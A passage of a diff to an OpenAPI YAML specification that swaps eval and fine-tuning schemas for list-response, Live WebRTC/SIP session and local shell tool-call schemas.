+ "tools": [],
+ "tool_resources": {},
+ "metadata": {},
+ "top_p": 1.0,
+ "temperature": 1.0,
+ "response_format": "auto"
},
+ {
+ "id": "asst_abc789",
+ "object": "assistant",
+ "created_at": 1698982643,
+ "name": null,
+ "description": null,
+ "model": "gpt-5",
+ "instructions": null,
+ "tools": [],
+ "tool_resources": {},
+ "metadata": {},
+ "top_p": 1.0,
+ "temperature": 1.0,
+ "response_format": "auto"
+ }
],
- "first_id": "outputitem_67abd55eb6548190bb580745d5644a33",
- "last_id": "outputitem_67abd55eb6548190bb580745d5644a33",
+ "first_id": "asst_abc123",
+ "last_id": "asst_abc789",
"has_more": false
}
- EvalRunOutputItemResult:
+ ListAuditLogsResponse:
type: object
- title: EvalRunOutputItemResult
- description: |
- A single grader result for an evaluation run output item.
properties:
- name:
+ object:
type: string
- description: The name of the grader.
- type:
+ enum:
+ - list
+ x-stainless-const: true
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/AuditLog'
+ first_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ example: audit_log-defb456h8dks
+ last_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ example: audit_log-hnbkd8s93s
+ has_more:
+ type: boolean
+ required:
+ - object
+ - data
+ - has_more
+ ListBatchesResponse:
+ type: object
+ properties:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/Batch'
+ first_id:
type: string
- description: The grader type (for example, "string-check-grader").
- score:
- type: number
- description: The numeric score produced by the grader.
- passed:
+ example: batch_abc123
+ last_id:
+ type: string
+ example: batch_abc456
+ has_more:
type: boolean
- description: Whether the grader considered the output a pass.
- sample:
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
+ required:
+ - object
+ - data
+ - has_more
+ ListCertificatesResponse:
+ type: object
+ properties:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/OrganizationCertificate'
+ first_id:
anyOf:
- - type: object
- additionalProperties: true
+ - type: string
- type: 'null'
- description: Optional sample or intermediate data produced by the grader.
- additionalProperties: true
+ example: cert_abc
+ last_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ example: cert_abc
+ has_more:
+ type: boolean
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
required:
- - name
- - score
- - passed
- EvalStoredCompletionsDataSourceConfig:
+ - object
+ - data
+ - has_more
+ - first_id
+ - last_id
+ ListFilesResponse:
type: object
- title: StoredCompletionsDataSourceConfig
- description: |
- Deprecated in favor of LogsDataSourceConfig.
properties:
- type:
+ object:
+ type: string
+ example: list
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/OpenAIFile'
+ first_id:
+ type: string
+ example: file-abc123
+ last_id:
+ type: string
+ example: file-abc456
+ has_more:
+ type: boolean
+ example: false
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ListFineTuningCheckpointPermissionResponse:
+ type: object
+ properties:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/FineTuningCheckpointPermission'
+ object:
type: string
enum:
- - stored_completions
- default: stored_completions
- description: The type of data source. Always `stored_completions`.
+ - list
x-stainless-const: true
- metadata:
- $ref: '#/components/schemas/Metadata'
- schema:
- type: object
- description: |
- The json schema for the run data source items.
- Learn how to build JSON schemas [here](https://json-schema.org/).
- additionalProperties: true
+ first_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ has_more:
+ type: boolean
required:
- - type
- - schema
- deprecated: true
- x-oaiMeta:
- name: The stored completions data source object for evals
- group: evals
- example: |
- {
- "type": "stored_completions",
- "metadata": {
- "language": "english"
- },
- "schema": {
- "type": "object",
- "properties": {
- "item": {
- "type": "object"
- },
- "sample": {
- "type": "object"
- }
- },
- "required": [
- "item",
- "sample"
- }
- }
- EvalStoredCompletionsSource:
+ - object
+ - data
+ - has_more
+ ListFineTuningJobCheckpointsResponse:
type: object
- title: StoredCompletionsRunDataSource
- description: |
- A StoredCompletionsRunDataSource configuration describing a set of filters
properties:
- type:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/FineTuningJobCheckpoint'
+ object:
type: string
enum:
- - stored_completions
- default: stored_completions
- description: The type of source. Always `stored_completions`.
+ - list
x-stainless-const: true
- metadata:
- $ref: '#/components/schemas/Metadata'
- model:
+ first_id:
anyOf:
- type: string
- description: An optional model to filter by (e.g., 'gpt-6-astra').
- type: 'null'
- created_after:
+ last_id:
anyOf:
- - type: integer
- description: An optional Unix timestamp to filter items created after this time.
+ - type: string
- type: 'null'
- created_before:
+ has_more:
+ type: boolean
+ required:
+ - object
+ - data
+ - has_more
+ ListFineTuningJobEventsResponse:
+ type: object
+ properties:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/FineTuningJobEvent'
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
+ has_more:
+ type: boolean
+ required:
+ - object
+ - data
+ - has_more
+ ListMessagesResponse:
+ properties:
+ object:
+ type: string
+ example: list
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/MessageObject'
+ first_id:
+ type: string
+ example: msg_abc123
+ last_id:
+ type: string
+ example: msg_abc123
+ has_more:
+ type: boolean
+ example: false
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ListModelsResponse:
+ type: object
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/Model'
+ required:
+ - object
+ - data
+ ListPaginatedFineTuningJobsResponse:
+ type: object
+ properties:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/FineTuningJob'
+ has_more:
+ type: boolean
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
+ required:
+ - object
+ - data
+ - has_more
+ ListProjectCertificatesResponse:
+ type: object
+ properties:
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/OrganizationProjectCertificate'
+ first_id:
anyOf:
- - type: integer
- description: An optional Unix timestamp to filter items created before this time.
+ - type: string
- type: 'null'
- limit:
+ example: cert_abc
+ last_id:
anyOf:
- - type: integer
- description: An optional maximum number of items to return.
+ - type: string
- type: 'null'
+ example: cert_abc
+ has_more:
+ type: boolean
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
required:
- - type
- x-oaiMeta:
- name: The stored completions data source object used to configure an individual run
- group: eval runs
- example: |
- {
- "type": "stored_completions",
- "model": "gpt-6-astra",
- "created_after": 1668124800,
- "created_before": 1668124900,
- "limit": 100,
- "metadata": {}
- }
- FileExpirationAfter:
+ - object
+ - data
+ - has_more
+ - first_id
+ - last_id
+ ListRunStepsResponse:
+ properties:
+ object:
+ type: string
+ example: list
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/RunStepObject'
+ first_id:
+ type: string
+ example: step_abc123
+ last_id:
+ type: string
+ example: step_abc456
+ has_more:
+ type: boolean
+ example: false
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ListRunsResponse:
type: object
- title: File expiration policy
- description: The expiration policy for a file. By default, files with `purpose=batch` expire after 30 days and all other files are persisted until they are manually deleted.
properties:
- anchor:
- description: 'Anchor timestamp after which the expiration policy applies. Supported anchors: `created_at`.'
+ object:
type: string
- enum:
- - created_at
- x-stainless-const: true
- seconds:
- description: The number of seconds after the anchor time that the file will expire. Must be between 3600 (1 hour) and 2592000 (30 days).
- type: integer
- format: int64
- minimum: 3600
- maximum: 2592000
+ example: list
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/RunObject'
+ first_id:
+ type: string
+ example: run_abc123
+ last_id:
+ type: string
+ example: run_abc456
+ has_more:
+ type: boolean
+ example: false
required:
- - anchor
- - seconds
- FilePath:
- type: object
- title: File path
- description: |
- A path to a file.
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ListVectorStoreFilesResponse:
properties:
- type:
+ object:
type: string
- description: |
- The type of the file path. Always `file_path`.
- enum:
- - file_path
- x-stainless-const: true
- file_id:
+ example: list
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/VectorStoreFileObject'
+ first_id:
type: string
- description: |
- The ID of the file.
- index:
- type: integer
- description: |
- The index of the file in the list of files.
+ example: file-abc123
+ last_id:
+ type: string
+ example: file-abc456
+ has_more:
+ type: boolean
+ example: false
required:
- - type
- - file_id
- - index
- FileSearchRanker:
- type: string
- description: The ranker to use for the file search. If not specified will use the `auto` ranker.
- enum:
- - auto
- - default_2024_08_21
- FileSearchRankingOptions:
- title: File search tool call ranking options
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ ListVectorStoresResponse:
+ properties:
+ object:
+ type: string
+ example: list
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/VectorStoreObject'
+ first_id:
+ type: string
+ example: vs_abc123
+ last_id:
+ type: string
+ example: vs_abc456
+ has_more:
+ type: boolean
+ example: false
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ LiveCallAcceptRequest:
type: object
- description: |
- The ranking options for the file search. If not specified, the file search tool will use the `auto` ranker and a score_threshold of 0.
-
- See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
+ description: Accept an incoming SIP call with Live startup configuration.
properties:
- ranker:
- $ref: '#/components/schemas/FileSearchRanker'
- score_threshold:
- type: number
- description: The score threshold for the file search. All values must be a floating point number between 0 and 1.
- minimum: 0
- maximum: 1
+ session:
+ $ref: '#/components/schemas/LiveCallAcceptSession'
+ description: Model and startup configuration for the Live session that answers the incoming SIP call.
required:
- - score_threshold
- FileSearchToolCall:
+ - session
+ additionalProperties: false
+ LiveCallAcceptSession:
type: object
- title: File search tool call
- description: |
- The results of a file search tool call. See the
- [file search guide](https://developers.openai.com/api/docs/guides/tools-file-search) for more information.
+ description: Startup configuration for accepting an incoming Live SIP call. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when writing frontend and backend instructions.
properties:
- id:
- type: string
- description: |
- The unique ID of the file search tool call.
+ model:
+ $ref: '#/components/schemas/ModelIdsLive'
+ description: The Live model to use for the accepted call.
+ minLength: 1
+ instructions:
+ $ref: '#/components/schemas/instructions'
+ audio:
+ $ref: '#/components/schemas/LiveMediaSessionAudioParam'
+ description: Startup audio output configuration. SIP negotiates the media format; audio.format is only accepted for primary WebSockets. Voice cannot change after startup.
+ delegation:
+ $ref: '#/components/schemas/delegation'
+ store:
+ $ref: '#/components/schemas/store'
+ input:
+ $ref: '#/components/schemas/input'
type:
type: string
enum:
- - file_search_call
- description: |
- The type of the file search tool call. Always `file_search_call`.
+ - live
+ default: live
x-stainless-const: true
- status:
- type: string
- description: |
- The status of the file search tool call. One of `in_progress`,
- `searching`, `incomplete` or `failed`,
- enum:
- - in_progress
- - searching
- - completed
- - incomplete
- - failed
- queries:
- type: array
- items:
- type: string
- description: |
- The queries used to search for files.
- results:
- anyOf:
- - type: array
- description: |
- The results of the file search tool call.
- items:
- type: object
- properties:
- file_id:
- type: string
- description: |
- The unique ID of the file.
- text:
- type: string
- description: |
- The text that was retrieved from the file.
- filename:
- type: string
- description: |
- The name of the file.
- attributes:
- $ref: '#/components/schemas/VectorStoreFileAttributes'
- score:
- type: number
- format: float
- description: |
- The relevance score of the file - a value between 0 and 1.
- - type: 'null'
+ description: The session type. Always `live`.
required:
- - id
+ - model
- type
- - status
- - queries
- FineTuneChatCompletionRequestAssistantMessage:
- allOf:
- - type: object
- title: Assistant message
- deprecated: false
- properties:
- weight:
- type: integer
- enum:
- - 0
- - 1
- description: Controls whether the assistant message is trained against (0 or 1)
- - $ref: '#/components/schemas/ChatCompletionRequestAssistantMessage'
+ additionalProperties: false
+ LiveCallReferRequest:
+ type: object
+ description: Parameters used to transfer a Live SIP call to another destination.
+ properties:
+ target_uri:
+ $ref: '#/components/schemas/target_uri'
+ minLength: 1
+ pattern: \S
+ description: Nonblank URI for the SIP Refer-To header, such as tel:+14155550123 or sip:agent@example.com.
required:
- - role
- FineTuneDPOHyperparameters:
+ - target_uri
+ additionalProperties: false
+ LiveCallRejectRequest:
type: object
- description: The hyperparameters used for the DPO fine-tuning job.
+ description: Parameters used to reject an incoming Live SIP call.
properties:
- beta:
- description: |
- The beta value for the DPO method. A higher beta value will increase the weight of the penalty between the policy and reference model.
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: number
- minimum: 0
- maximum: 2
- exclusiveMinimum: true
- batch_size:
- description: |
- Number of examples in each batch. A larger batch size means that model parameters are updated less frequently, but with lower variance.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- maximum: 256
- learning_rate_multiplier:
- description: |
- Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: number
- minimum: 0
- exclusiveMinimum: true
- n_epochs:
- description: |
- The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- maximum: 50
- FineTuneDPOMethod:
+ status_code:
+ type: integer
+ minimum: 300
+ maximum: 699
+ description: SIP rejection status sent to the caller. This field is required.
+ example: 486
+ required:
+ - status_code
+ additionalProperties: false
+ LiveClientEvent:
+ description: Client events for Live. Initialize a primary WebSocket with session.start and wait for session.started. WebRTC creation already starts the session. Audio append is primary WebSocket-only. See the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) before writing frontend instructions and delegation policies.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveSessionStartEvent'
+ - $ref: '#/components/schemas/LiveSessionUpdateParam'
+ - $ref: '#/components/schemas/LiveInputAudioAppendEvent'
+ - $ref: '#/components/schemas/LiveInputAudioMuteParam'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
+ - $ref: '#/components/schemas/LiveInstructionsAppendParam'
+ - $ref: '#/components/schemas/LiveThinkingAppendParam'
+ - $ref: '#/components/schemas/LiveCommentaryAppendParam'
+ - $ref: '#/components/schemas/LiveResponseItemCreateParam'
+ - $ref: '#/components/schemas/LiveResponseCreateParam'
+ - $ref: '#/components/schemas/LiveSessionCloseParam'
+ LiveConnectParams:
type: object
- description: Configuration for the DPO fine-tuning method.
+ x-stainless-empty-object: true
+ description: Primary Live WebSocket connections accept no query parameters. Supply the model and startup configuration in the first session.start event.
+ properties: {}
+ additionalProperties: false
+ LiveCreateRequest:
+ type: object
+ description: Create a Live WebRTC session with JSON session configuration and an SDP offer. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) before choosing frontend and backend instructions. The request starts the session; do not send session.start on the data channel.
properties:
- hyperparameters:
- $ref: '#/components/schemas/FineTuneDPOHyperparameters'
- FineTuneMethod:
+ session:
+ $ref: '#/components/schemas/LiveMediaSessionCreateParams'
+ description: Startup configuration for the Live session.
+ transport:
+ $ref: '#/components/schemas/LiveWebRTCTransport'
+ description: WebRTC transport with the browser's SDP offer.
+ required:
+ - session
+ - transport
+ additionalProperties: false
+ LiveCreateResponse:
type: object
- description: The method used for fine-tuning.
+ description: The created Live session identifier and WebRTC answer. Apply transport.sdp as the peer's remote answer and wait for session.started on the data channel before sending commands.
properties:
- type:
- type: string
- description: The type of method. Is either `supervised`, `dpo`, or `reinforcement`.
- enum:
- - supervised
- - dpo
- - reinforcement
- supervised:
- $ref: '#/components/schemas/FineTuneSupervisedMethod'
- dpo:
- $ref: '#/components/schemas/FineTuneDPOMethod'
- reinforcement:
- $ref: '#/components/schemas/FineTuneReinforcementMethod'
+ session:
+ type: object
+ description: The newly created Live session. Use its ID for session controls and sideband connections.
+ properties:
+ id:
+ type: string
+ description: Opaque session identifier. Preserve the returned value unchanged, including its prefix.
+ required:
+ - id
+ transport:
+ $ref: '#/components/schemas/LiveWebRTCTransport'
+ description: WebRTC transport with the SDP answer.
required:
- - type
- FineTuneReinforcementHyperparameters:
+ - session
+ - transport
+ LiveForkClientEvent:
+ description: Client events for a Live fork WebSocket. First send session.start with an overrides object (which may be empty), then wait for session.started before sending other commands. The model and conversation are inherited from the stored session.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveForkSessionStartEvent'
+ - $ref: '#/components/schemas/LiveSessionUpdateParam'
+ - $ref: '#/components/schemas/LiveInputAudioAppendEvent'
+ - $ref: '#/components/schemas/LiveInputAudioMuteParam'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
+ - $ref: '#/components/schemas/LiveInstructionsAppendParam'
+ - $ref: '#/components/schemas/LiveThinkingAppendParam'
+ - $ref: '#/components/schemas/LiveCommentaryAppendParam'
+ - $ref: '#/components/schemas/LiveResponseItemCreateParam'
+ - $ref: '#/components/schemas/LiveResponseCreateParam'
+ - $ref: '#/components/schemas/LiveSessionCloseParam'
+ LiveForkPathParams:
type: object
- description: The hyperparameters used for the reinforcement fine-tuning job.
+ description: Identifies the stored Live session whose conversation and configuration are used to create a fork.
+ required:
+ - session_id
properties:
- batch_size:
- description: |
- Number of examples in each batch. A larger batch size means that model parameters are updated less frequently, but with lower variance.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- maximum: 256
- learning_rate_multiplier:
- description: |
- Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: number
- minimum: 0
- exclusiveMinimum: true
- n_epochs:
- description: |
- The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- maximum: 50
- reasoning_effort:
- description: |
- Level of reasoning effort.
+ session_id:
type: string
- enum:
- - default
- - low
- - medium
- - high
- default: default
- compute_multiplier:
- description: |
- Multiplier on amount of compute used for exploring search space during training.
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: number
- minimum: 0.00001
- maximum: 10
- exclusiveMinimum: true
- eval_interval:
- description: |
- The number of training steps between evaluation runs.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- eval_samples:
- description: |
- Number of evaluation samples to generate per training step.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- FineTuneReinforcementMethod:
+ description: The ID of the stored Live session to fork.
+ LiveForkRequest:
type: object
- description: Configuration for the reinforcement fine-tuning method.
+ description: Fork a stored Live session onto a new WebRTC connection. Omit session or send an empty object to inherit its configuration.
properties:
- grader:
- type: object
- description: The grader used for the fine-tuning job.
- anyOf:
- - $ref: '#/components/schemas/GraderStringCheck'
- - $ref: '#/components/schemas/GraderTextSimilarity'
- - $ref: '#/components/schemas/GraderPython'
- - $ref: '#/components/schemas/GraderScoreModel'
- - $ref: '#/components/schemas/GraderMulti'
- hyperparameters:
- $ref: '#/components/schemas/FineTuneReinforcementHyperparameters'
+ session:
+ $ref: '#/components/schemas/LiveMediaSessionForkParams'
+ description: Optional configuration overrides for the new Live session. Omit this object or send an empty object to inherit the stored session's settings.
+ transport:
+ $ref: '#/components/schemas/LiveWebRTCTransport'
+ description: WebRTC transport with an SDP offer for the new connection to the forked session.
+ required:
+ - transport
+ additionalProperties: false
+ LiveForkServerEvent:
+ $ref: '#/components/schemas/LiveServerEvent'
+ LiveMediaSessionAudioParam:
+ type: object
+ description: Startup audio output configuration. WebRTC and SIP negotiate the media format; audio.format is only accepted for primary WebSockets. Voice cannot change after startup.
+ properties:
+ output:
+ $ref: '#/components/schemas/LiveInitialSessionAudioOutputParam'
+ additionalProperties: false
+ LiveMediaSessionCreateParams:
+ type: object
+ description: Startup configuration for a Live media session. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when writing frontend instructions and the backend prompt under delegation.responses.instructions.
+ properties:
+ model:
+ $ref: '#/components/schemas/ModelIdsLive'
+ instructions:
+ $ref: '#/components/schemas/instructions'
+ audio:
+ $ref: '#/components/schemas/LiveMediaSessionAudioParam'
+ description: Startup audio configuration. WebRTC and SIP negotiate their audio format on the media transport.
+ delegation:
+ $ref: '#/components/schemas/delegation'
+ store:
+ $ref: '#/components/schemas/store'
+ input:
+ $ref: '#/components/schemas/input'
+ client:
+ $ref: '#/components/schemas/LiveClientConfigParam'
required:
- - grader
- FineTuneSupervisedHyperparameters:
+ - model
+ additionalProperties: false
+ LiveMediaSessionForkParams:
type: object
- description: The hyperparameters used for the fine-tuning job.
+ description: Optional overrides for a stored Live session. Omitted settings are inherited. The model, voice, frontend instructions, and prior conversation come from the stored session. WebRTC negotiates its audio format; audio.format is only supported on WebSocket forks.
properties:
- batch_size:
- description: |
- Number of examples in each batch. A larger batch size means that model parameters are updated less frequently, but with lower variance.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- maximum: 256
- learning_rate_multiplier:
- description: |
- Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: number
- minimum: 0
- exclusiveMinimum: true
- n_epochs:
- description: |
- The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- maximum: 50
- FineTuneSupervisedMethod:
+ store:
+ $ref: '#/components/schemas/properties-store'
+ delegation:
+ $ref: '#/components/schemas/LiveResponsesDelegationUpdateParam'
+ client:
+ $ref: '#/components/schemas/LiveClientConfigParam'
+ additionalProperties: false
+ LiveServerEvent:
+ description: Server events for Live. Response lifecycle events are wrapped inside response.event; dispatch the nested event by its full type and tolerate new response event types. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when designing the conversation and delegation policy.
+ discriminator:
+ propertyName: type
+ allOf:
+ - $ref: '#/components/schemas/LiveServerEvent-2'
+ LiveSidebandClientEvent:
+ description: Client events accepted by an attached Live sideband WebSocket. The session is already started; send audio over the primary connection.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveSessionUpdateParam'
+ - $ref: '#/components/schemas/LiveInputAudioMuteParam'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
+ - $ref: '#/components/schemas/LiveInstructionsAppendParam'
+ - $ref: '#/components/schemas/LiveThinkingAppendParam'
+ - $ref: '#/components/schemas/LiveCommentaryAppendParam'
+ - $ref: '#/components/schemas/LiveResponseItemCreateParam'
+ - $ref: '#/components/schemas/LiveResponseCreateParam'
+ - $ref: '#/components/schemas/LiveSessionCloseParam'
+ LiveSidebandConnectParams:
type: object
- description: Configuration for the supervised fine-tuning method.
+ description: Connection options for a sideband WebSocket attached to an existing Live session.
properties:
- hyperparameters:
- $ref: '#/components/schemas/FineTuneSupervisedHyperparameters'
- FineTuningCheckpointPermission:
+ graceful_close:
+ type: boolean
+ description: Opt in to the graceful WebSocket closing handshake when the session ends. The server may also enable this behavior by default.
+ additionalProperties: false
+ LiveSidebandPathParams:
type: object
- title: FineTuningCheckpointPermission
- description: |
- The `checkpoint.permission` object represents a permission for a fine-tuned model checkpoint.
+ description: Identifies the Live session to observe and control through a sideband WebSocket.
+ required:
+ - session_id
properties:
- id:
- type: string
- description: The permission identifier, which can be referenced in the API endpoints.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the permission was created.
- project_id:
+ session_id:
type: string
- description: The project identifier that the permission is for.
- object:
+ description: The ID of the existing Live session to attach to.
+ LiveSidebandServerEvent:
+ description: Server events received by an attached Live sideband WebSocket. Audio deltas are delivered over the primary connection.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveSessionStarted'
+ - $ref: '#/components/schemas/LiveSessionUpdated'
+ - $ref: '#/components/schemas/LiveInputAudioMuted'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuted'
+ - $ref: '#/components/schemas/LiveInstructionsAppended'
+ - $ref: '#/components/schemas/LiveThinkingAppended'
+ - $ref: '#/components/schemas/LiveCommentaryAppended'
+ - $ref: '#/components/schemas/LiveInputTranscriptDelta'
+ - $ref: '#/components/schemas/LiveOutputTranscriptDelta'
+ - $ref: '#/components/schemas/LiveDelegationCreated'
+ - $ref: '#/components/schemas/LiveResponseEvent'
+ - $ref: '#/components/schemas/LiveSessionUsageUpdated'
+ - $ref: '#/components/schemas/LiveSessionClosed'
+ - $ref: '#/components/schemas/LiveErrorEvent'
+ - $ref: '#/components/schemas/LiveInfoEvent'
+ LiveWebRTCTransport:
+ type: object
+ description: WebRTC transport carrying the offer SDP in a creation request or answer SDP in its response.
+ properties:
+ type:
type: string
- description: The object type, which is always "checkpoint.permission".
+ description: The transport used for the Live session. Always `webrtc`.
enum:
- - checkpoint.permission
+ - webrtc
x-stainless-const: true
- required:
- - created_at
- - id
- - object
- - project_id
- x-oaiMeta:
- name: The fine-tuned model checkpoint permission object
- example: |
- {
- "object": "checkpoint.permission",
- "id": "cp_zc4Q7MP6XxulcVzj4MZdwsAB",
- "created_at": 1712211699,
- "project_id": "proj_abGMw1llN8IrBb6SvvY5A1iH"
- }
- FineTuningIntegration:
- type: object
- title: Fine-Tuning Job Integration
+ sdp:
+ type: string
+ minLength: 1
+ description: Session Description Protocol message for the WebRTC connection.
required:
- type
- - wandb
+ - sdp
+ additionalProperties: false
+ LocalShellToolCall:
+ type: object
+ title: Local shell call
+ description: |
+ A tool call to run a command on the local shell.
properties:
type:
type: string
- description: The type of the integration being enabled for the fine-tuning job
enum:
- - wandb
+ - local_shell_call
+ description: |
+ The type of the local shell call. Always `local_shell_call`.
x-stainless-const: true
- wandb:
- type: object
+ id:
+ type: string
description: |
- The settings for your integration with Weights and Biases. This payload specifies the project that
- metrics will be sent to. Optionally, you can set an explicit display name for your run, add tags
- to your run, and set a default entity (team, username, etc) to be associated with your run.
- required:
- - project
- properties:
- project:
- description: |
- The name of the project that the new run will be created under.
- type: string
- example: my-wandb-project
- name:
- anyOf:
- - description: |
- A display name to set for the run. If not set, we will use the Job ID as the name.
- type: string
- - type: 'null'
- entity:
- anyOf:
- - description: |
- The entity to use for the run. This allows you to set the team or username of the WandB user that you would
- like associated with the run. If not set, the default entity for the registered WandB API key is used.
- type: string
- - type: 'null'
- tags:
- description: |
- A list of tags to be attached to the newly created run. These tags are passed through directly to WandB. Some
- default tags are generated by OpenAI: "openai/finetune", "openai/{base-model}", "openai/{ftjob-abcdef}".
- type: array
- items:
- type: string
- example: custom-tag
- FineTuningJob:
+ The unique ID of the local shell call.
+ call_id:
+ type: string
+ description: |
+ The unique ID of the local shell tool call generated by the model.
+ action:
+ $ref: '#/components/schemas/LocalShellExecAction'
+ status:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ description: |
+ The status of the local shell call.
+ required:
+ - type
+ - id
+ - call_id
+ - action
+ - status
+ LocalShellToolCallOutput:
type: object
- title: FineTuningJob
+ title: Local shell call output
description: |
- The `fine_tuning.job` object represents a fine-tuning job that has been created through the API.
+ The output of a local shell tool call.
properties:
- id:
- type: string
- description: The object identifier, which can be referenced in the API endpoints.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the fine-tuning job was created.
- error:
- anyOf:
- - type: object
- description: For fine-tuning jobs that have `failed`, this will contain more information on the cause of the failure.
- properties:
- code:
- type: string
- description: A machine-readable error code.
- message:
- type: string
- description: A human-readable error message.
- param:
- anyOf:
- - type: string
- description: The parameter that was invalid, usually `training_file` or `validation_file`. This field will be null if the failure was not parameter-specific.
- - type: 'null'
- required:
- - code
- - message
- - param
- - type: 'null'
- fine_tuned_model:
- anyOf:
- - type: string
- description: The name of the fine-tuned model that is being created. The value will be null if the fine-tuning job is still running.
- - type: 'null'
- finished_at:
- anyOf:
- - type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the fine-tuning job was finished. The value will be null if the fine-tuning job is still running.
- - type: 'null'
- hyperparameters:
- type: object
- description: The hyperparameters used for the fine-tuning job. This value will only be returned when running `supervised` jobs.
- properties:
- batch_size:
- anyOf:
- - description: |
- Number of examples in each batch. A larger batch size means that model parameters
- are updated less frequently, but with lower variance.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- - type: integer
- minimum: 1
- maximum: 256
- title: Auto
- - type: 'null'
- title: Manual
- learning_rate_multiplier:
- description: |
- Scaling factor for the learning rate. A smaller learning rate may be useful to avoid
- overfitting.
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- title: Auto
- - type: number
- minimum: 0
- exclusiveMinimum: true
- n_epochs:
- description: |
- The number of epochs to train the model for. An epoch refers to one full cycle
- through the training dataset.
- default: auto
- anyOf:
- - type: string
- enum:
- - auto
- x-stainless-const: true
- title: Auto
- - type: integer
- minimum: 1
- maximum: 50
- model:
- type: string
- description: The base model that is being fine-tuned.
- object:
+ type:
type: string
- description: The object type, which is always "fine_tuning.job".
enum:
- - fine_tuning.job
+ - local_shell_call_output
+ description: |
+ The type of the local shell tool call output. Always `local_shell_call_output`.
x-stainless-const: true
- organization_id:
- type: string
- description: The organization that owns the fine-tuning job.
- result_files:
- type: array
- description: The compiled results file ID(s) for the fine-tuning job. You can retrieve the results with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
- items:
- type: string
- example: file-abc123
- status:
+ id:
type: string
- description: The current status of the fine-tuning job, which can be either `validating_files`, `queued`, `running`, `succeeded`, `failed`, or `cancelled`.
- enum:
- - validating_files
- - queued
- - running
- - succeeded
- - failed
- - cancelled
